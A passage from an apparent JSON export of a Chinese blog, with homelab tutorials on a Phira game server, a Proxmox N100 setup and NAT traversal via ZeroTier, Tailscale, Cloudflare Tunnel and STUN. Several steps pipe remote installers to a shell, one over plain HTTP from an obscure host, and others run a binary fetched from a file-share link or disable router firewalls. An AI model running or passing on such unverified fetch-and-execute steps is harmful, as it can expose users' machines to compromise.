WARN\n如果这些文件不适用于你正在使用的系统请前往自行构建（高级）继续阅读\n自行构建（高级） 由于phira-mp使用Rust编写，若想要自行构建需要在你的操作系统上安装Rust环境\n对于Windows 前往Rust 下载页，下载 Rust 打开后会弹出一个 CMD 窗口，输入 1（Quick Install）回车，等待 Visual Studio 安装（如果此步 Visual Studio 下载很慢也可以手动下载）\n在 Visual Studio 中，勾选使用 C++ 的桌面开发，然后安装\n然后请跳过 Linux 教程直接阅读构建 phira-mp\n对于Linux 执行：curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\n选择 1 回车\n执行：source $HOME/.cargo/env\n使用Rust构建phira-mp 克隆仓库：git clone https://github.com/TeamFlos/phira-mp.git（不支持IPv6）或git clone https://github.com/afoim/phira-mp-autobuild.git（支持IPv6）\ncd phira-mp或cd phira-mp-autobuild\n更新依赖：cargo update\n构建：cargo build --release -p phira-mp-server\n运行程序并将 log 打印到终端，会显示你监听的端口：RUST_LOG=info target/release/phira-mp-server\n（如果你需要指定端口号：RUST_LOG=info target/release/phira-mp-server --port 8080）\n","permalink":"https://blog.2x.nz/posts/phira-mp/","summary":"\u003ch1 id=\"直接下载服务端文件并运行\"\u003e直接下载服务端文件并运行\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/phira-mp-autobuild\"\u003ehttps://github.com/afoim/phira-mp-autobuild\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这里有一些由Github Action自动构建的服务端文件，涵盖以下系统和架构\u003cimg loading=\"lazy\" src=\"/posts/phira-mp/img/2024-11-06-08-28-34-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e也可以前往\u003ca href=\"https://phira.dmocken.top/Multiplayer%20Server%E5%A4%9A%E4%BA%BA%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8\"\u003eMultiplayer Server | Dmocken的Phira下载站\u003c/a\u003e自行寻找\u003c/p\u003e\n\u003cp\u003e寻找适用于你的系统的文件，下载下来并执行即可。默认服务端将会在你的主机12346端口上开放，如果需要自定义端口，请使用\u003ccode\u003e--port\u003c/code\u003e参数指定端口。然后即可使用Phira来填写IP/域名:端口来连接\u003c/p\u003e\n\u003cp\u003e*如果要显示Log，请使用 \u003ccode\u003eRUST_LOG=debug ./xxx\u003c/code\u003e 去运行，默认日志等级是 \u003ccode\u003eWARN\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e如果这些文件不适用于你正在使用的系统请前往\u003ca href=\"#%E8%87%AA%E8%A1%8C%E6%9E%84%E5%BB%BA%E9%AB%98%E7%BA%A7\"\u003e自行构建（高级）\u003c/a\u003e继续阅读\u003c/p\u003e\n\u003ch1 id=\"自行构建高级\"\u003e自行构建（高级）\u003c/h1\u003e\n\u003cp\u003e由于phira-mp使用Rust编写，若想要自行构建需要在你的操作系统上安装Rust环境\u003c/p\u003e\n\u003ch2 id=\"对于windows\"\u003e对于Windows\u003c/h2\u003e\n\u003cp\u003e前往\u003ca href=\"https://www.rust-lang.org/zh-CN/learn/get-started\"\u003eRust 下载页\u003c/a\u003e，下载 Rust  \u003cimg loading=\"lazy\" src=\"/posts/phira-mp/img/2024-11-06-09-57-44-6b333b87e835dfa299b0c3c95e5ea4e0.webp\"\u003e\n打开后会弹出一个 CMD 窗口，输入 1（Quick Install）回车，等待 Visual Studio 安装（如果此步 Visual Studio 下载很慢也可以\u003ca href=\"https://visualstudio.microsoft.com/zh-hans/downloads/\"\u003e手动下载\u003c/a\u003e）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/phira-mp/img/2024-11-06-09-57-49-61b4d36dc8cd1ce47da66be5e2a920cd.webp\"\u003e在 Visual Studio 中，勾选\u003cstrong\u003e使用 C++ 的桌面开发\u003c/strong\u003e，然后安装\u003cbr\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/phira-mp/img/2024-11-06-09-58-05-390c775c83dc245b0690fda699bfee5f.webp\"\u003e然后请跳过 Linux 教程直接阅读\u003ca href=\"\"\u003e构建 phira-mp\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"对于linux\"\u003e对于Linux\u003c/h2\u003e\n\u003cp\u003e执行：\u003ccode\u003ecurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e选择 1 回车\u003c/p\u003e\n\u003cp\u003e执行：\u003ccode\u003esource $HOME/.cargo/env\u003c/code\u003e\u003c/p\u003e\n\u003ch1 id=\"使用rust构建phira-mp\"\u003e使用Rust构建phira-mp\u003c/h1\u003e\n\u003cp\u003e克隆仓库：\u003ccode\u003egit clone https://github.com/TeamFlos/phira-mp.git\u003c/code\u003e（不支持IPv6）或\u003ccode\u003egit clone https://github.com/afoim/phira-mp-autobuild.git\u003c/code\u003e（支持IPv6）\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecd phira-mp\u003c/code\u003e或\u003ccode\u003ecd phira-mp-autobuild\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e更新依赖：\u003ccode\u003ecargo update\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e构建：\u003ccode\u003ecargo build --release -p phira-mp-server\u003c/code\u003e\u003c/p\u003e","title":"Phira多人联机服务器搭建/使用教程"},{"content":"配置\u0026amp;需求 N100 CPU 频率：最小 700 Mhz, 最大 3400 Mhz | TDP：6 W\n8G RAM\n128G M.2 NVme SSD\n512G SATA HDD\nRealtek R8168 有线网卡\nUSB有线网卡\nU盘（作PVE引导盘）\n目标 所有系统通过PVE管理\nPVE下安装fnOS，作NAS并配置自动追番（直通：N100核显 512G SATA HDD ）\nPVE下安装Debian，搭建QQBot、博客、AList\n1. PVE 安装 下载Ventoy最新版可执行文件：\nhttps://www.ventoy.net/cn/download.html\n使用GPT分区表，NTFS格式将Ventoy写入U盘 下载PVE最新版ISO（使用USTC镜像源）：\nhttps://mirrors.ustc.edu.cn/help/proxmox.html\n将PVE的ISO文件放入U盘根目录 插入USB网卡，U盘连接到到N100，开机从U盘启动，进入PVE安装界面，安装PVE。网络配置选择USB网卡\n重启，进入PVE，通过IP+8006端口进入WebUI，登录进去\n配置 安装PVE快捷管理脚本 安装PVE快捷管理脚本：pve_source.tar.gz | AcoFork-AList 或 https://wwp.lanzoul.com/ivHta1ngmo6d （密码:i1ws）（来自：在下莫老师）\n解压：tar zxvf pve_source.tar.gz\n运行：./pve_source\n同意许可协议\n依次执行白框操作\n扩容local：lvextend -rl +100%FREE /dev/pve/root\n配置Realtek R8168网卡 由于Debian系默认安装R8169驱动，我们需要手动安装R8168驱动，否则无法使用N100小主机自带的有线网口上网\n下载驱动：\nhttps://www.realtek.com/Download/List?cate_id=584\n解压，安装：sh autorun.sh\n查看是否有新的网络接口：ip a\nroot@n100-pve:~# ip a ... 2: enp3s0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000 link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff ... 配置网络配置文件：nano /etc/network/interfaces\n# network interface settings; autogenerated # Please do NOT modify this file directly, unless you know what # you\u0026#39;re doing. # # If you want to manage parts of the network configuration manually, # please utilize the \u0026#39;source\u0026#39; or \u0026#39;source-directory\u0026#39; directives to do # so. # PVE will preserve these directives, but will NOT read its network # configuration from sourced files, so do not attempt to move any of # the PVE managed interfaces into external files! auto lo iface lo inet loopback iface wlp1s0 inet manual iface enp3s0 inet manual auto vmbr1 iface vmbr1 inet static address 192.168.124.25/24 gateway 192.168.124.1 bridge-ports enp3s0 bridge-stp off bridge-fd 0 iface vmbr1 inet6 auto dhcp 1 accept_ra 2 request_prefix 1 source /etc/network/interfaces.d/* 重启网络服务：systemctl restart networking\n查看ip：ip a\nroot@n100-pve:~# ip a ... 2: enp3s0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000 link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff ... 4: vmbr1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff inet 192.168.124.25/24 scope global vmbr1 valid_lft forever preferred_lft forever inet6 2409:8a30:320:7fc0:2e0:4cff:fe08:91a6/64 scope global dynamic mngtmpaddr valid_lft 2763sec preferred_lft 2762sec inet6 fe80::2e0:4cff:fe08:91a6/64 scope link valid_lft forever preferred_lft forever 卸除USB网卡\n配置STUN穿透 路由器设置DMZ主机为PVEIP 安装Lucky 执行：curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh \u0026amp;\u0026amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4\n通过host:16601 进入Lucky后台，设置STUN穿透\n2. fnOS 安装 前往官网下载最新版ISO：\nhttps://www.fnnas.com/\n上传至PVE：\n创建fnOS虚拟机，CPU类型选择host，步骤略\n直通核显和硬盘：\n如果你不知道你的核显和SATA控制器的PCI ID：lspci\n可见核显为00:02.0，SATA控制器为00:17.0\nroot@n100-pve:~# lspci 00:00.0 Host bridge: Intel Corporation Device 461c 00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics] 00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01) 00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller 00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM 00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller 00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller 00:1a.0 SD Host controller: Intel Corporation Device 54c4 00:1c.0 PCI bridge: Intel Corporation Device 54be 00:1d.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port 00:1d.1 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port 00:1e.0 Communication controller: Intel Corporation Alder Lake-N Serial IO UART Host Controller 00:1e.3 Serial bus controller: Intel Corporation Device 54ab 00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller 00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller 00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus 00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller 01:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83) 02:00.0 Non-Volatile memory controller: Realtek Semiconductor Co., Ltd. RTS5765DL NVMe SSD Controller (DRAM-less) (rev 01) 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 2b) 启动虚拟机，安装fnOS\n配置 前往飞牛设置，创建储存空间，Linear模式，选择刚才直通的硬盘\n前往飞牛应用中心安装qBittorrent、影视，并且在设置给予目录读取权限\n配置qBittorrent的用户名和密码\n打开飞牛Docker，初始化\n拉取并运行AutoBangumi Docker镜像：\ndocker run -d \\ --name=AutoBangumi \\ -v /vol1/1000/AutoBangumi/config:/app/config \\ -v /vol1/1000/AutoBangumi/data:/app/data \\ -p 7892:7892 \\ -e TZ=Asia/Shanghai \\ -e PUID=$(id -u) \\ -e PGID=$(id -g) \\ -e UMASK=022 \\ --network=bridge \\ --dns=8.8.8.8 \\ --restart unless-stopped \\ ghcr.onani.cn/estrellaxd/auto_bangumi:latest 进入host:7892 让AutoBangumi连接qBittorrent并配置下载地址\n添加RSS。可前往蜜柑计划 - Mikan Project获得各个字幕组的RSS\n注意：使用蜜柑计划 - Mikan Project时，请订阅单个字幕组的RSS，不要使用个人的RSS，会导致只能获取到你所有追番的最新一集而不是单个番的全部剧集\n打开飞牛影视，初始化并设置媒体库\n注意：如果要刮削旧集旧番，请规范重命名，可以使用自动化工具：Episode-ReName.zip | AcoFork-AList\n一级目录：即qb下载目录，无需重命名\n二级目录：番剧名称\n三级目录：季，如Season 1\n四级目录：集和字幕，如S01E01.mp4 S01E01.chs.ass\n3. Debian 安装 下载Debian12 ISO（USTC镜像源）（建议选择DVD镜像，包更全，安装更快）\nhttps://mirrors.ustc.edu.cn/help/debian-cd.html\n上传至PVE，创建Debian虚拟机，CPU类型选择host，步骤略\n安装1Panel： https://1panel.cn/docs/installation/online_installation/\n在1Panel中安装Openresty MySQL Halo AList Cloudflared 配置步骤略 搭建QQBot 安装OneBotv11协议实现：Lagrange.OneBot Docker Run：docker run -td -p 8081:8081 -v /root/qqbot/lo:/app/data -e UID=$UID -e GID=$(id -g) ghcr.onani.cn/lagrangedev/lagrange.onebot:edge\n修改配置文件：appsettings.json\n{ \u0026#34;Logging\u0026#34;: { \u0026#34;LogLevel\u0026#34;: { \u0026#34;Default\u0026#34;: \u0026#34;Information\u0026#34;, \u0026#34;Microsoft\u0026#34;: \u0026#34;Warning\u0026#34;, \u0026#34;Microsoft.Hosting.Lifetime\u0026#34;: \u0026#34;Information\u0026#34; } }, \u0026#34;SignServerUrl\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;SignProxyUrl\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;MusicSignServerUrl\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Account\u0026#34;: { \u0026#34;Uin\u0026#34;: 0, \u0026#34;Password\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Protocol\u0026#34;: \u0026#34;Linux\u0026#34;, \u0026#34;AutoReconnect\u0026#34;: true, \u0026#34;GetOptimumServer\u0026#34;: true }, \u0026#34;Message\u0026#34;: { \u0026#34;IgnoreSelf\u0026#34;: true, \u0026#34;StringPost\u0026#34;: false }, \u0026#34;QrCode\u0026#34;: { \u0026#34;ConsoleCompatibilityMode\u0026#34;: false }, \u0026#34;Implementations\u0026#34;: [ { \u0026#34;Type\u0026#34;: \u0026#34;ReverseWebSocket\u0026#34;, \u0026#34;Host\u0026#34;: \u0026#34;192.168.124.34\u0026#34;, \u0026#34;Port\u0026#34;: 9090, \u0026#34;Suffix\u0026#34;: \u0026#34;/onebot/v11/ws\u0026#34;, \u0026#34;ReconnectInterval\u0026#34;: 5000, \u0026#34;HeartBeatInterval\u0026#34;: 5000, \u0026#34;AccessToken\u0026#34;: \u0026#34;\u0026#34; } ] } 重启容器，扫码登录\n安装NoneBot2 安装pip：apt install python3-pip\n配置pip USTC源：pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple\n安装pipx：apt install pipx\n安装nb-cli：pipx install nb-cli\n设置pipx变量：pipx ensurepath\n安装nb bootstrap：nb self install nb-cli-plugin-bootstrap\n创建新NoneBot2项目：nb bs\nroot@n100-debian:~# nb bs 加载适配器列表中…… 请输入项目名称 [?] 请输入 \u0026gt; onani [?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议) 请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入） [?] 第 1 项 \u0026gt; 666 [?] 第 2 项 \u0026gt; 请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令， 如果有一个指令为 查询，当该配置项中有 \u0026#34;/\u0026#34; 时使用 \u0026#34;/查询\u0026#34; 才能够触发， 留空将使用默认值 [\u0026#39;\u0026#39;, \u0026#39;/\u0026#39;, \u0026#39;#\u0026#39;]（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 Bot 命令分隔符，一般用于二级指令， 留空将使用默认值 [\u0026#39;.\u0026#39;, \u0026#39; \u0026#39;]（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可 [?] 请输入 \u0026gt; 0.0.0.0 请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关 [?] 请输入 \u0026gt; 9090 [?] 是否在项目目录中释出快捷启动脚本？ Yes [?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes [?] 是否使用超级用户 Ping 指令回复插件？ Yes [?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes [?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No 成功新建项目 onani [?] 是否新建虚拟环境？ Yes 正在 /root/onani/.venv 中创建虚拟环境 创建虚拟环境成功 [?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No [?] 是否立即安装项目依赖？ Yes 正在安装项目依赖 依赖安装成功 [?] 请选择需要启用的内置插件 项目配置完毕，开始使用吧！ 成果展示（域名已弃用） https://blog.onani.cn\nhttps://alist.onani.cn\n","permalink":"https://blog.2x.nz/posts/n100-pve/","summary":"\u003ch1 id=\"配置需求\"\u003e配置\u0026amp;需求\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eN100 CPU 频率：最小 700 Mhz, 最大 3400 Mhz | TDP：6 W\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e8G RAM\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e128G M.2 NVme SSD\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e512G SATA HDD\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRealtek R8168 有线网卡\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUSB有线网卡\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eU盘（作PVE引导盘）\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"目标\"\u003e目标\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e所有系统通过PVE管理\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePVE下安装fnOS，作NAS并配置自动追番（直通：\u003ccode\u003eN100核显\u003c/code\u003e \u003ccode\u003e512G SATA HDD\u003c/code\u003e ）\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePVE下安装Debian，搭建QQBot、博客、AList\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch1 id=\"1-pve\"\u003e1. PVE\u003c/h1\u003e\n\u003ch2 id=\"安装\"\u003e安装\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e下载Ventoy最新版可执行文件：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.ventoy.net/cn/download.html\"\u003ehttps://www.ventoy.net/cn/download.html\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e使用GPT分区表，NTFS格式将Ventoy写入U盘\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下载PVE最新版ISO（使用USTC镜像源）：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://mirrors.ustc.edu.cn/help/proxmox.html\"\u003ehttps://mirrors.ustc.edu.cn/help/proxmox.html\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e将PVE的ISO文件放入U盘根目录\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e插入USB网卡，U盘连接到到N100，开机从U盘启动，进入PVE安装界面，安装PVE。网络配置选择USB网卡\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启，进入PVE，通过IP+8006端口进入WebUI，登录进去\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"配置\"\u003e配置\u003c/h2\u003e\n\u003ch3 id=\"安装pve快捷管理脚本\"\u003e安装PVE快捷管理脚本\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e安装PVE快捷管理脚本：\u003ca href=\"https://alist.onani.cn/pve_source.tar.gz\"\u003epve_source.tar.gz | AcoFork-AList\u003c/a\u003e 或 \u003ca href=\"https://wwp.lanzoul.com/ivHta1ngmo6d\"\u003e\u003cstrong\u003ehttps://wwp.lanzoul.com/ivHta1ngmo6d\u003c/strong\u003e\u003c/a\u003e （密码:i1ws）（来自：在下莫老师）\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e解压：\u003ccode\u003etar zxvf pve_source.tar.gz\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e运行：\u003ccode\u003e./pve_source\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e同意许可协议\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e依次执行白框操作\u003cimg loading=\"lazy\" src=\"/posts/n100-pve/img/ea205e1a00e7029dfa4bd7850c5a6a68d6d4c0d9.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e扩容local：\u003ccode\u003elvextend -rl +100%FREE /dev/pve/root\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"配置realtek-r8168网卡\"\u003e配置Realtek R8168网卡\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e由于Debian系默认安装R8169驱动，我们需要手动安装R8168驱动，否则无法使用N100小主机自带的有线网口上网\u003c/p\u003e\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e下载驱动：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.realtek.com/Download/List?cate_id=584\"\u003ehttps://www.realtek.com/Download/List?cate_id=584\u003c/a\u003e\u003cimg loading=\"lazy\" src=\"/posts/n100-pve/img/0d8457c7fb0d497e12e2c8b544f07c3c37cf96cd.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e解压，安装：\u003ccode\u003esh autorun.sh\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e查看是否有新的网络接口：\u003ccode\u003eip a\u003c/code\u003e\u003c/p\u003e","title":"N100 - PVE（fnOS+Debian）基建记录"},{"content":"经实测，Zerotier的打洞能力明显优于Tailscale，所以建议通过Zerotier来实现内网穿透 详细报表：\nZerotier Tailscale 单端DMZ（单端NAT1） STUN STUN 仅单端UPnP（单端NAT3） UDP P2P 玄学穿透 双端UPnP（双端NAT3） UDP P2P 玄学穿透 双端无UPnP/DMZ（双端NAT3/NAT4） UDP P2P 无法穿透 自建中继/握手节点 √ √ 其实实际情况会更加复杂一点，但是你只要有 公网IPv6、UPnP、DMZ 中的其中一项，Zerotier就几乎是100%的打洞成功率\n如何知道我是P2P还是中继？ ping你的对端设备，如果延迟大于200ms或者经常丢包大概率就是中继节点（也有小概率是你的设备负载过高导致无法及时接收和返回ping包）\n啥是内网穿透？ 当我们在家中有个NAS，想要在学校/公司的网络来访问，就需要用到内网穿透，实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量\n前期准备 路由器开启UPnP\n关闭路由器的IPv4，IPv6防火墙 （可选）\n使用Zerotier/Tailscale进行内网穿透 他们俩的原理都是尝试对端建立P2P连接，需要对端安装一个软件并且长期运行\n使用Zerotier进行内网穿透的详细教程 创建Zerotier账号 前往：ZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能\n选择 Sign up\n如果你到了这个界面，请仍然选择Sign up\n账号创建完毕后，登录即可\n创建一个新的Zerotier网络组 当你账号登录成功后，会自动跳转到这个页面，点击Create A Network。如果没有，请访问ZeroTier Central\n下面的列表会增加一个新的网络组，点击它\nZerotier默认的网络组模式为Private。即私密模式，哪怕别人知道了你的Network ID尝试加入你的网络组也需要你进行验证\n复制这个Network ID\n在设备上安装Zerotier应用 Windows： 前往Download - ZeroTier，下载exe安装文件\n打开Zerotier\n查看右下角托盘，按照图片操作加入网络组\n这里可以查询到你的设备ID和你在这个网络组的IP\n然后参考：Zerotier授权设备\nLinux（飞牛OS）： 通过SSH连接上你的Linux设备\n查看安装命令：Download - ZeroTier\n终端执行： curl -s https://install.zerotier.com | sudo bash\n看到这一行即安装完毕，后面那一串即你的设备ID：\n加入网络：sudo zerotier-cli join 你的Network ID\n然后参考：Zerotier授权设备\nAndroid（安卓） 下载客户端\nZerotier One：ZeroTier One APK Download for Android - Latest Version\nZerotierFix：Releases · kaaass/ZerotierFix\n如图操作\n然后参考：Zerotier授权设备\nZerotier授权设备 前往Zerotier的网页控制台：ZeroTier Central\n授权刚才加入的设备\n勾选然后保存\nZerotier访问测试 如果你同一个网络组里已经有两台以上的设备了，可以尝试ping一下测试连通性，请先确保两台设备不在同一个局域网（比如手机开流量，NAS用家里的无线网）\nIP可以在这里查看\nping测试：\n使用Tailscale进行内网穿透的详细教程 创建Tailscale账号 前往：Tailscale。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能\n选择任意一个登录方式\n账号创建完毕后，登录即可\n在设备上安装Tailscale应用 Windows： 前往Download · Tailscale，下载exe安装文件\n官方教程：\nLinux（飞牛OS）： 通过SSH连接上你的Linux设备\n查看安装命令：Download · Tailscale\n终端执行： curl -fsSL https://tailscale.com/install.sh | sh\n等待安装完毕后输入：tailscale login\n打开弹出的浏览器窗口，登录你的账号即可\nAndroid（安卓） 下载客户端（Google Play）：Download · Tailscale\n登录你的账号即可\nTailscale访问测试 前往Tailscale的网页控制台：Machines - Tailscale。可以查看到每个设备Tailscale分配的IP\nping测试\n使用Cloudflare Tunnel进行内网穿透 这种方法可以不进行任何配置直接在公网上被访问，但是仅限Web服务。如果你想穿透游戏服务器等则不可用。你需要先将域名托管到Cloudflare\n创建Cloudflare账号主页 | Cloudflare\n进入Cloudflare One（需要绑定PayPal）\n如图操作，创建一个Tunnel\nDocker方式 使用1Panel\n复制如图的命令\n将其粘贴，并且复制后面的令牌\n1Panel应用商店搜索cloudflared\n填入令牌\n然后前往查看IP\n使用命令运行\n复制底下的命令然后SSH连接到Linux（飞牛OS）在终端输入\n然后前往查看IP\n查看cloudflared的IP 因为我们是Docker模式，所以IP需要通过SSH终端输入ip a来查看。我这里是192.168.124.34\nroot@n100-debian:~# ip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: ens18: tiROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether bc:24:11:33:e1:7d brd ff:ff:ff:ff:ff:ff altname enp0s18 inet 192.168.124.34/24 brd 192.168.124.255 scope global dynamic ens18 valid_lft 46579sec preferred_lft 46579sec inet6 2409:8a30:320:a170:be24:11ff:fe33:e17d/64 scope global dynamic mngtmpaddr valid_lft 1902sec preferred_lft 1898sec inet6 fe80::be24:11ff:fe33:e17d/64 scope link valid_lft forever preferred_lft foreverti 然后前往配置并访问Tunnel\n原生模式（以Debian为例） 选择Debian，然后复制底下的命令，直接到终端执行\n如果你的环境无法连接上Github\n尝试手动下载：https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb\n然后将其通过SSH等方式传到Linux上，如图终端为MobaXterm\n然后使用：dpkg -i cloudflared-linux-amd64.deb安装这个软件包\n然后直接复制右边的命令到SSH终端执行\n然后前往配置并访问Tunnel\nAndroid（Termux） 在Android上安装Termux | The main termux site and help pages.\n在终端执行：pkg install cloudflared\n选择Debian然后复制最右边的命令到终端执行 如果你无法使用Termux自带的cloudflared，请尝试安装proot容器实现\n依次输入命令：\npkg update \u0026amp;\u0026amp; pkg upgrade pkg install proot pkg install proot-distro proot-distro list proot-distro install debian proot-distro login debian apt install wget wget https://github.com/cloudflare/cloudflared/releases/download/2024.10.1/cloudflared-linux-arm64.deb dpkg -i cloudflared-linux-amd64.deb 然后直接复制右边的命令到SSH终端执行\n如果你无法通过令牌配置cloudflared，请参见本地方式配置cloudflared\n然后前往配置并访问Tunnel\n配置并访问Tunnel 通过网页配置 这种方法需要直接在安装了cloudflared的设备上通过令牌运行\n如图进入，创建一个HTTP隧道\n填写你的IP和端口，非Docker模式可以直接填写localhost\n本地方式 这种方法只需要在安装了cloudflared的设备上输入一些命令然后通过网页授权，后续更改配置也需要在本地操作\n登录并授权：cloudflared tunnel login\n创建隧道并设置隧道（HTTP模式穿透，目标地址127.0.0.1，端口：8080，外部域名：test.onani.cn）：cloudflared tunnel --name test --url http://127.0.0.1:8080 --http2 --hostname test.onani.cn\n访问测试 成功访问\n使用STUN打洞 这种方法可以不进行任何配置直接在公网上被访问，并且所有类型的服务都能正常使用。但是这种方式进行的内网穿透无法固定也无法指定IP和端口，在3~7天后会改变\n安装Lucky 执行：curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh \u0026amp;\u0026amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4\n通过host:16601 进入Lucky后台，设置STUN穿透。如果DMZ主机不设为Lucky主机可能会失败。打码的地方即公网访问的IP和端口\n","permalink":"https://blog.2x.nz/posts/across-nat/","summary":"\u003ch1 